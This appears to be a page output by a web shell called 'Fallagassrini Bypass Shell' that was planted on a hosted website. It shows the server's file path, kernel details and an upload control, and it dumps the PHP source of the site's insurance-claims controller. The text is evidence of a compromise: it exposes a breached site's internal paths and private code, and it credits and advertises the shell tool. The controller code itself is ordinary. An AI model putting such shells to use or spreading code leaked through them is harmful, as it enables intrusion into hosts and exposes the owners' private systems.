? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/controllers/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sibs_draft/system/application/controllers/claims.php

<?php if (!defined('BASEPATH')) exit('No direct script access allowed'); ?>
<?php

class Claims extends BaseController
{

    function Claims()
    {
        parent::BaseController();
        $this->load->model('mastermodel');
        $this->load->model('policiesmodel');
        $this->load->model('claimsmodel');
        $this->load->library('Fpaginate');
        $this->load->model('settingsmodel');
        $this->load->model('customermodel');
        $this->load->model('hrmodel');
    }

    function index($menuid = "", $modid = "")
    {
        if (empty($modid))
        {
            $data['modname'] = 'Home';
        } else
        {
            $mod_id = $this->mastermodel->get_data('modules', $modid, 'module_id', 'sort');
            foreach ($mod_id as $id)
            {
                $modname = $id['module_name'];
            }
            $data['modname'] = $modname;
        }
        if (empty($menuid))
        {
            $tart = 'index';
            $data['menuname'] = '';
        } else
        {
            $tar = $this->mastermodel->get_data('menu', $menuid, 'menu_id');

            foreach ($tar as $target)
            {
                $tart = $target['target'];
                $data['menuname'] = $target['caption'];
            }
        }

        $data['modules'] = $this->settingsmodel->buildModule();
        $data['menus'] = $this->settingsmodel->buildMenu($modid);



        $this->load->view('' . $data['modname'] . '/' . $tart . '', $data);
    }

    function view($type = "")
    {
        if ($type == 'ajax')
        {
            $this->load->view('refinesearch');
        }
    }

    function ajaxload($page, $table, $pagenum = "", $selectsearch = "", $search = "")
    {


        $data['nooflist'] = '4';
        $data['perpage'] = '10';
        $data['pagenum'] = $pagenum;


        if ($data['pagenum'] == 1 || $data['pagenum'] == "")
            $data['id'] = 1;
        else
            $data['id'] = (($data['pagenum'] - 1) * $data['perpage']) + 1;
        if ($search == "")
        {
            $data['property'] = 'view';
            $data['count'] = $this->mastermodel->count_all('' . $table . '');
            $data['pages'] = ceil($data['count'] / $data['perpage']);
            $arr = $this->fpaginate->paginate($data['pagenum'], $data['pages'], $data['nooflist']);
            $data['startpage'] = $arr[0];
            $data['endpage'] = $arr[1];
            $data['viewinfo'] = $this->mastermodel->view('' . $table . '', $data['pagenum'], $data['perpage']);

            $data['searchinfo'] = "";
            $data['searchtxt'] = "";
            $data['searchoption'] = "";
        } else
        {
            $search = str_replace("~", " ", $search);
            $search = str_replace("_", "/", $search);
            $data['searchoption'] = $selectsearch;

            if ($selectsearch == 'repdate' || $selectsearch == 'date' || $selectsearch == 'startdate' || $selectsearch == 'enddate' || $selectsearch == 'rendate')
            {
                $qdate = $this->mastermodel->convdatformat($search);
                $search = $qdate;
            }

            $data['searchtxt'] = $search;
            $data['property'] = 'search';
            $data['count'] = $this->claimsmodel->get_data_search_all($table, $search, $selectsearch);
            $data['pages'] = ceil($data['count'] / $data['perpage']);
            $arr = $this->fpaginate->paginate($data['pagenum'], $data['pages'], $data['nooflist']);
            $data['startpage'] = $arr[0];
            $data['endpage'] = $arr[1];
            $data['selectsearch'] = $selectsearch;
            $data['search'] = $search;
            $data['searchinfo'] = $this->claimsmodel->get_data_search($table, $search, $selectsearch, $data['pagenum'], $data['perpage']);
            $data['viewinfo'] = "";
        }
        $data['inscompany'] = $this->mastermodel->getdatas('insurance_company');

        $data['segment'] = $this->mastermodel->getdatas('segment_insurances');
        $data['cover_insurance'] = $this->mastermodel->getdatas('covers');
        $data['action'] = 'add';
        $data['norecords'] = $this->claimsmodel->norecords('' . $table . '');
        $data['curlist'] = $this->settingsmodel->Getcurrency(1, 'id', '');
        $data['directory'] = $this->mastermodel->getdatas('directory');
        $this->load->view('Claims/' . $page . '', $data);
    }

    function ajaxloadnew($page, $table, $pagenum = "", $selectsearch = "", $search = "")
    {


        $data['nooflist'] = '4';
        $data['perpage'] = '10';
        $data['pagenum'] = $pagenum;
        $_SESSION['pagenum'] = $pagenum;
        $_SESSION['searchoption'] = $selectsearch;
        $_SESSION['searchtxt'] = $search;

        if ($data['pagenum'] == 1 || $data['pagenum'] == "")
            $data['id'] = 1;
        else
            $data['id'] = (($data['pagenum'] - 1) * $data['perpage']) + 1;
        if ($search == "")
        {
            $data['property'] = 'view';
            $data['count'] = $this->mastermodel->count_all('' . $table . '');
            $data['pages'] = ceil($data['count'] / $data['perpage']);
            $arr = $this->fpaginate->paginate($data['pagenum'], $data['pages'], $data['nooflist']);
            $data['startpage'] = $arr[0];
            $data['endpage'] = $arr[1];
            $data['viewinfo'] = $this->mastermodel->viewnew('' . $table . '', $data['pagenum'], $data['perpage']);

            $data['searchinfo'] = "";
            $data['searchtxt'] = "";
            $data['searchoption'] = "";
        } 
        else
        {
            $search = str_replace("~", " ", $search);
            $search = str_replace("_", "/", $search);
            $data['searchoption'] = $selectsearch;

            if ($selectsearch == 'repdate' || $selectsearch == 'date' || $selectsearch == 'startdate' || $selectsearch == 'enddate' || $selectsearch == 'rendate')
            {
                $qdate = $this->mastermodel->convdatformat($search);
                $search = $qdate;
            }

            $data['searchtxt'] = $search;
            $data['property'] = 'search';
            $data['count'] = $this->claimsmodel->get_data_search_all($table, $search, $selectsearch);
            $data['pages'] = ceil($data['count'] / $data['perpage']);
            $arr = $this->fpaginate->paginate($data['pagenum'], $data['pages'], $data['nooflist']);
            $data['startpage'] = $arr[0];
            $data['endpage'] = $arr[1];
            $data['selectsearch'] = $selectsearch;
            $data['search'] = $search;
            $data['searchinfo'] = $this->claimsmodel->get_data_search($table, $search, $selectsearch, $data['pagenum'], $data['perpage']);
            $data['viewinfo'] = "";
        }
        $data['inscompany'] = $this->mastermodel->getdatas('insurance_company');

        $data['segment'] = $this->mastermodel->getdatas('segment_insurances');
        $data['cover_insurance'] = $this->mastermodel->getdatas('covers');
        $data['action'] = 'add';
        $data['norecords'] = $this->claimsmodel->norecords('' . $table . '');
        $data['directory'] = $this->mastermodel->getdatas('directory');
        $this->load->view('Claims/' . $page . '', $data);
    }

    function ajaxloadcovertype($page, $arg1, $arg2)
    {
        $data['coverlist'] = $this->mastermodel->get_multi_data('covers', $arg1, $arg2);
        $this->load->view('Claims/' . $page . '', $data);
    }

    function ajaxloadtype($page, $arg1)
    {
        $data['typelist'] = $this->mastermodel->get_data('segment_insurances', $arg1, 'branch_id');
        $this->load->view('Claims/' . $page . '', $data);
    }

    function addclaimforms()
    {
        $this->load->library('form_validation');
        $this->form_validation->set_rules('formname', 'Form name', 'required');
        if ($this->form_validation->run() == FALSE)
        {
            redirect('master/index/29/6');
            //$this->index('29', '6');
        } else
        {

            $res = $this->claimsmodel->insertclaimforms();
            redirect('master/index/29/6');
            //$this->index('29', '6');

            if ($res == 1)
            {
                $this->load->view('Claims/success');
            }
        }
    }

    function single($page, $table, $field, $filetable, $filefield, $id)
    {

        $data['viewinfo'] = $this->mastermodel->get_data($table, $id, $field);
        $data['viewactivity'] = $this->mastermodel->get_data('claimdetails', $id, 'claimid');
        $data['settlement'] = $this->mastermodel->get_data('claimsettlement', $id, 'claimid');
        $data['directory'] = $this->mastermodel->getdatas('directory');
        $data['claimform_files'] = $this->mastermodel->get_data('claimform_files', $id, 'claimformid');
        $data['claim_files'] = $this->mastermodel->get_data('claim_files', $id, 'claimid');
        $data['id'] = $id;
        $data['tablename'] = $filetable;
        $data['fieldname'] = $filefield;

        $this->load->view('Claims/' . $page . '', $data);
    }

    function addclaim()
    {
        $this->load->library('form_validation');
        $this->form_validation->set_rules('policyno', 'Policy no', 'required');
        if ($this->form_validation->run() == FALSE)
        {
            redirect('master/index/30/6');
            // $this->index('30', '6');
        } else
        {

            $res = $this->claimsmodel->insertclaim();
            redirect('master/index/30/6');
            //$this->index('30', '6');

            if ($res == 1)
            {
                $this->load->view('Claims/success');
            }
        }
    }

    function edit($page, $table, $field, $id)
    {
        $data['viewinfo'] = $this->mastermodel->get_data($table, $id, $field);
        $data['viewactivity'] = $this->mastermodel->get_data('claimdetails', $id, 'claimid');
        $data['settlement'] = $this->mastermodel->get_data('claimsettlement', $id, 'claimid');
        $data['directory'] = $this->mastermodel->getdatas('directory');
        $data['claimform_files'] = $this->mastermodel->get_data('claimform_files', $id, 'claimformid');
        $data['claim_files'] = $this->mastermodel->get_data('claim_files', $id, 'claimid');
        $data['action'] = 'update';
        $data['id'] = $id;
        $data['curlist'] = $this->settingsmodel->Getcurrency(1, 'id', '');
        $this->load->view('Claims/' . $page . '', $data);
    }

    function editclaimforms()
    {


        $res = $this->claimsmodel->updateclaimforms();
        redirect('master/index/29/6');
        //$this->index('29', '6');
        if ($res == 1)
        {
            $this->load->view('Claims/success');
        }
    }

    function editclaim()
    {


        $res = $this->claimsmodel->updateclaim();
        redirect('master/index/30/6');
        //$this->index('30', '6');
        if ($res == 1)
        {
            $this->load->view('Claims/success');
        }
    }

    function delete($table, $id, $menu)
    {



        $data = $this->mastermodel->check_permissions(3);
        if (!$data)
        {
            $this->index($menu, '6');
            $this->load->view('Master/nopermission');
        } else
        {

            try
            {
                $res = $this->mastermodel->deletedata($table, $id);
                ;

                if ($res != 1)
                {
                    throw new Exception("Error");
                }
                $this->index($menu, '6');
            } catch (Exception $exception)
            {

                $this->index($menu, '6');
                $this->load->view('Master/checkexist');
            }
        }
    }

    function addclaimpolicy($endid)
    {
        $data['endid'] = $endid;
        $this->load->view('Claims/addclaimpolicy', $data);
    }

    function addclaimpolicyno()
    {
        $res = $this->claimsmodel->addclaimpolicyno();
        if ($res >= 1)
        {
            echo "Claim  Policy No Added";
        } else
        {
            echo "Error While Adding";
        }
    }

}

/* End of file welcome.php */
/* Location: ./system/application/controllers/welcome.php */

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net